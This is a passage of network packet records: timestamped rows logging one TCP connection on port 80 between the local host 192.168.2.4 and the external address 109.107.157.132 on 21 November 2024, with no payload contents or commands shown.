Nov 21, 2024 22:33:39.022566080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.022619009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.022727013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.022778034 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.023746014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.023796082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.023863077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.023907900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.025222063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.025271893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.025367975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.025414944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.026745081 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.026794910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.026813984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.026859999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.028250933 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.028302908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.028384924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.028439999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.146274090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.146287918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.146353960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.147797108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.147809029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.147857904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.265857935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.265871048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.265933037 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.267333984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.267345905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.267399073 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.385431051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385442972 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385452032 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385462999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385473013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385483980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385493040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385535955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385539055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.385546923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385556936 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385575056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385586023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.385586977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385601997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385613918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385624886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.385624886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385636091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.385638952 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.385660887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.385678053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:39.730555058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.730566978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:39.730613947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.242681980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.242706060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.242794991 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.320732117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.320822954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.320837021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.321129084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.321331978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.321383953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.412705898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.412791014 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.412812948 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.413182020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.413360119 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.413414001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.413470984 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.413548946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.414849997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.414904118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.487958908 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.488037109 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.488095999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.488348961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.488459110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.488512993 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.489906073 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.489958048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.489995003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.491409063 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.491457939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.491529942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.491816044 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.492889881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.492939949 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.492980957 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.493124008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.494379997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.494427919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.872771978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.872795105 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.872855902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.872855902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.966264009 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.966444969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.966473103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.966520071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.966619968 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.966672897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:40.966692924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:40.966734886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.072747946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.072762966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.072805882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.072833061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.073028088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.073079109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.073184013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.073235035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.074573994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.074616909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.074891090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.074934006 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.076049089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.076091051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.152053118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.152074099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.152102947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.152138948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.152285099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.152327061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.152395010 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.152441025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.153799057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.153933048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.229298115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.229311943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.229383945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.229873896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.229893923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.229928970 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.229955912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.231404066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.231462002 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.231467009 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.231506109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.307385921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.307394981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.307459116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.307759047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.307809114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.307857990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.307907104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.309330940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.309382915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.309386969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.309429884 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.310743093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.310800076 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.393197060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.393238068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.393414974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.393850088 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.393908978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.393949986 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.393996954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.395361900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.395415068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.395441055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.395500898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.489615917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.489624977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.489713907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.489934921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.489984989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.489989042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.490020990 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.491586924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.491641045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.491744041 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.491796017 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.492955923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.493005991 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.493143082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.493200064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.494476080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.494529009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.494549036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.494589090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.593173027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.593271017 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.593282938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.593326092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.593893051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.593946934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.594120979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.594171047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.595419884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.595473051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.595540047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.595604897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.596934080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.596986055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.597057104 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.597105980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.598478079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.598526955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.671519995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.671597958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.671775103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.671827078 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.672290087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.672344923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.672359943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.672399998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.673762083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.673809052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.673852921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.673901081 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.675231934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.675280094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.675407887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.675451040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.676717043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.676767111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.749669075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.749737024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.749829054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.749874115 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.750463009 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.750510931 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.750536919 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.750574112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.751924992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.751970053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.752486944 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.752533913 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.752576113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.752620935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.754009008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.754055977 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.754167080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.754211903 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.828063011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.828140974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.828133106 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.828183889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.828763008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.828811884 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.828829050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.828912020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.830276966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.830339909 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.830476999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.830522060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.831768036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.831828117 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.872394085 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.872459888 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.880392075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.880475044 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.880511045 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.880563021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.881084919 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.881139994 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.906354904 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.906423092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.906517982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.906665087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.907016993 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.907099962 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.907284021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.907361984 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.907406092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.907479048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.908938885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.909010887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.909040928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.909132004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.910459995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.910569906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.950776100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.950871944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.958534956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.958623886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.958712101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.958761930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.959203005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.959266901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.984601974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.984700918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.984729052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.984778881 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.985300064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.985356092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.985451937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.985498905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.986839056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.986902952 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.987365961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.987423897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:41.987458944 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:41.987505913 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.029522896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.029661894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.036788940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.036858082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.036899090 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.036936045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.037450075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.037509918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.063421011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.063525915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.063549995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.063599110 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.063735008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.063745975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.063781023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.063806057 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.065256119 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.065316916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.065439939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.065488100 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.066764116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.066843033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.067114115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.067164898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.068281889 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.068337917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.068447113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.068492889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.115042925 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.115094900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.115142107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.115174055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.115703106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.115751028 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.141136885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.141231060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.141527891 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.141585112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.141822100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:42.141866922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:42.141931057 CET	80	49759	109.107.157.132	192.168.2.4
